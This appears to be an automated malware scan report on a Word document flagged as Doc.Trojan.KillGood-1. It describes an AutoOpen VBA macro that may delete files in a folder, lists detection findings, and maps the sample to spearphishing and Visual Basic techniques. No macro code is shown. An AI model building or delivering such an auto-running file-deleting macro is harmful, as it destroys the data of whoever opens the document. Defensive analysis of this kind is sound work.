MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon opening a document. The macro prompts the user with a question and, depending on the input, either displays a message or attempts to delete files in 'c:\good\*.*'. This behavior suggests an attempt to trick the user or cause damage, aligning with malicious document lures. The presence of the AutoOpen macro and the potential for file deletion indicates a malicious intent, likely delivered via spearphishing.

  • ClamAV: Doc.Trojan.KillGood-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.KillGood-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
